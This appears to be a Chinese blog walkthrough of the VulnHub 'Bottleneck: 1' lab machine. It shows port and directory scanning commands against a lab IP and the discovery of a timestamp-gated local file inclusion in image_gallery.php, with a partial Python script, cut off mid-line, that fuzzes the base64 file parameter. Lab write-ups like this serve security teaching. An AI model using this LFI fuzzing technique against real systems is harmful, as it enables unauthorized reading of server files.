『VulnHub系列』Bottleneck: 1-Walkthrough

靶机地址
难度:中等
靶机发布日期:2019年9月28日
在这里插入图片描述
靶机描述:

Bottleneck is an intermediate boot2root machine.
After some cyber attacks the admin hardened the system, show him that it’s not so secure.
If you need a hint feel free to contact me on Twitter: @bytevsbyt3

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

netdiscover
nmap
dirsearch
dirb
gobuster
metaspaloit
gcc
LFI漏洞
编写python脚本
python2 input漏洞getshell

0x00、信息收集

靶机IP:192.168.0.107

netdiscover -r 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.107

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

在这里插入图片描述

python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在这里插入图片描述
枚举结果汇总

  • /css
  • /img
  • /js
  • /vendor
  • /index.php
  • /image_gallery.php

首页(index.php)
在这里插入图片描述

0x01、发现LFI漏洞

/image_gallery.php
在这里插入图片描述
发现这个img标签的src的值有点特别,对其进行base64解码,得到图片名称bottleneck_dontbe.png
在这里插入图片描述
在img目录可以正常访问该图片,且就是img标签显示的图片
在这里插入图片描述
使用firefox的开发者功能发现,每次访问http://192.168.0.107/image_gallery.php页面时,会发送一次请求http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n,并且返回的结果是png的数据流
在这里插入图片描述
猜测这里可能存在本地文件包含漏洞(LFI)

编辑请求参数的值,然后进行重发。最初用的是Burpsuite的Repeater模块,结果发现Response状态码是200,但并没有响应内容。
在这里插入图片描述
当然你也可以用firefox浏览器的开发者功能进行编辑重发,如下图所示
在这里插入图片描述
随后我使用浏览器的开发者功能对请求(http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n)进行编辑重发。在编辑的过程中,我并未修改参数t和f的值,只是打开了编辑页面,然后直接点击了开发者功能板块右上角Send按钮,Response的状态码是200,但Content却是空的。随后我又多次访问image_gallery.php页面,观察请求png数据流的参数,发现参数t的值每次都发生变化,并且与之前相同的是,重发后不再得到png的数据流,结合参数t的名称,我猜测这个参数t指的应该是time。也就是说我们的t值必须与服务器上的时间计时器一致。
在这里插入图片描述
在Twitter上联系靶机作者,确认了我的推断,作者使用了时间戳
在这里插入图片描述
时间戳(timestamp)分析
在这里插入图片描述
从上图中两个时间戳(方框中的kali系统当前时间的时间戳,椭圆中的时间戳是靶机上的)可以看出,我的kali系统与靶机处于同一时区,这里由于手速的问题,两个时间戳的数值相差1。但我们可以基本断定:kali的系统时间与靶机的系统时间是一致的,这也就解决了时间戳的问题。

这里给出我的kali系统的时区。小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了
在这里插入图片描述

针对这个漏洞我编写了一个Python脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import datetime
import time
import requests
import base64
import argparse

# 发送请求
def sendRequest(fuzzWordlist, url):
    wordlistFile = open(fuzzWordlist,'r')
    for line in wordlistFile.readlines():
        word = line.strip('\r').strip('\n')
        # 逐行对字典中的内容进行fuzz,需要先对字典中每一行内容进行base64编码
        payload = base64.b64encode(word.encode("utf-8"))
        # 获取时间戳(因为我的kali与靶机的系统时间一致,使用kali系统的当前时间生成的时间戳就是靶机上的时间戳),我的kali系统时间比大北京时间慢12小时
        dtime = datetime.datetime.now()
        t = int(time.mktime(dtime.timetuple()))
        # 命令行打印时间戳和base64编码的payload
        print 'timestamp:' + str(t)
        print 'base64:' + payload

        try:
            # 发送请求
            URL = url
            print URL
            # 定义参数
            PARAMS = {
   
                't':t,
                'f':payload}

            r = requests.get
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值